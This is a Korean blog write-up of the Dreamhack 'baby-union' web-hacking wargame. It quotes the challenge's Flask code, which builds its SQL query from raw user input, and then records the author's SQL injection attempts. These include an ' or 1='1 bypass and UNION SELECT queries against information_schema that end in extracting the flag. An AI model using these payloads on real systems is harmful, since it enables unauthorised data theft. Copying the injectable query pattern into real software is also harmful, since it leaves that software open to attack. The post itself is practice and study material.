촉촉한초코칩

Dreamhack - baby-union 본문

Study/Web Hacking

Dreamhack - baby-union

햄친구베이컨 2024. 8. 25. 17:30

 

코드 

import os
from flask import Flask, request, render_template
from flask_mysqldb import MySQL

app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'secret_db')
mysql = MySQL(app)

@app.route("/", methods = ["GET", "POST"])
def index():

    if request.method == "POST":
        uid = request.form.get('uid', '')
        upw = request.form.get('upw', '')
        if uid and upw:
            cur = mysql.connection.cursor()
            cur.execute(f"SELECT * FROM users WHERE uid='{uid}' and upw='{upw}';")
            data = cur.fetchall()
            if data:
                return render_template("user.html", data=data)

            else: return render_template("index.html", data="Wrong!")

        return render_template("index.html", data="Fill the input box", pre=1)
    return render_template("index.html")


if __name__ == '__main__':
    app.run(host='0.0.0.0')

uid와 upw를 입력받고 fetchall 함수 결과에 따라 flag가 출력된다. 

fetchall() : 레코드를 배열 형식으로 저장해주는 함수 (한번에 모든 row 읽기)
→ select문에 맞는 열이 데이터가 있어야 출력이 됨 

 

공격 (참고 : https://studysteadily.tistory.com/18)

SELECT * FROM users WHERE uid='' and upw='';

입력값 : uid = a, upw = ' or 1='1
select * from users where uid ='a' and upw ='' or 1='1';

 

여기가 user page인데.. 

아이디를 admin으로 입력해보았다. 

입력값 : uid = admin, upw = ' or 1='1
select * from users where uid ='admin' and upw ='' or 1='1';

위 표랑 똑같이 나옴 

 

문제 이름이 union이라서 한번 union을 써보았다.

1) db 정보 확인 하기 

입력값 : uid = admin, upw = 1' union select 1,2,3,database() #
select * from users where uid ='admin' and upw ='1' union select 1,2,3,database() #';

2) 테이블 정보 

입력값 : uid = admin, upw = 1' union select 1, 2, 3, table_name from information_schema.tables where table_schema = 'secret_db' #
select * from users where uid ='admin' and upw ='1' union select 1, 2, 3, table_name from information_schema.tables where table_schema = 'secret_db' #';

3) column 이름 확인 

입력값 : uid = admin, upw = 1' union select 1,2,3 column_name from information_shcema.columns where table_name = 'onlyflag' #
select * from users where uid ='admin' and upw ='1' union select 1,2,3 column_name from information_shcema.columns where table_name = 'onlyflag' #';

여기서 막혔다.. 어떻게 해도 출력이 안돼서 문제를 다시 봤는데 sql 하나 주어진 게 있었다. (테이블, 칼럼명은 실제 이름과 다름)

CREATE DATABASE secret_db;
GRANT ALL PRIVILEGES ON secret_db.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';

USE `secret_db`;
CREATE TABLE users (
  idx int auto_increment primary key,
  uid varchar(128) not null,
  upw varchar(128) not null,
  descr varchar(128) not null
);

INSERT INTO users (uid, upw, descr) values ('admin', 'apple', 'For admin');
INSERT INTO users (uid, upw, descr) values ('guest', 'melon', 'For guest');
INSERT INTO users (uid, upw, descr) values ('banana', 'test', 'For banana');
FLUSH PRIVILEGES;

CREATE TABLE fake_table_name (
  idx int auto_increment primary key,
  fake_col1 varchar(128) not null,
  fake_col2 varchar(128) not null,
  fake_col3 varchar(128) not null,
  fake_col4 varchar(128) not null
);

INSERT INTO fake_table_name (fake_col1, fake_col2, fake_col3, fake_col4) values ('flag is ', 'DH{sam','ple','flag}');
입력값 : uid = admin, upw = 1' union select * from onlyflag #
select * from users where uid ='admin' and upw ='1' union select * from onlyflag #';

입력값 : uid = admin, upw = 1' union select 1,2,flag from onlyflag # 
select * from users where uid ='admin and upw='1' union select 1,2,flag from onlyflag # ';

입력값 : uid = admin, upw = ' union select * from onlyflag # 
select * from users where uid ='admin' and upw='' union select * from onlyflag #';

입력값 : uid = admin, upw = 1' union select table name from information_schema.columns where column_name='idx' #
select * from users where uid ='admin' and upw='1' union select table name from information_schema.columns where column_name='idx' #';

 

검색찬스..ㅎ https://velog.io/@sy460129/Dreamhack-baby-union

입력값 : uid = admin, upw = 1' union select column_name, null, null, null from information_schema.columns where table_name='onlyflag' #
select * from users where uid ='admin' and upw ='1' union select column_name, null, null, null from information_schema.columns where table_name='onlyflag' #';

칼럼 개수에 맞게 null을 넣어줘야 하나보다..... 

칼럼명도 알았으니 적용해본다. 

1' union select sname, svalue, sflag, sclose from onlyflag #

이대로 입력했는데 틀렸다고 나왔다. 

select 할 때 입력한 칼럼 수는 4개인데 출력된 결과는 3개이다. 하나를 더 출력시키기 위해 null을 사용한다. 

1' union select svalue, sflag,null, sclose from onlyflag #

 

정리

  1. information_schema : DB 전체 테이블의 정보를 담고 있는 메타 테이블 
  2. 이름이나 개수 맞출 때  * 대신 null을 사용하기  

'Study > Web Hacking' 카테고리의 다른 글

wargamme.kr - tmitter  (1) 2024.09.13
Dreamhack - login filtering  (1) 2024.09.06
Dreamhack - command-injection-chatgpt  (0) 2024.08.25
Dreamhack - error based sql injection  (0) 2024.08.15
Dreamhack - simple_sqli_chatgpt  (0) 2024.08.14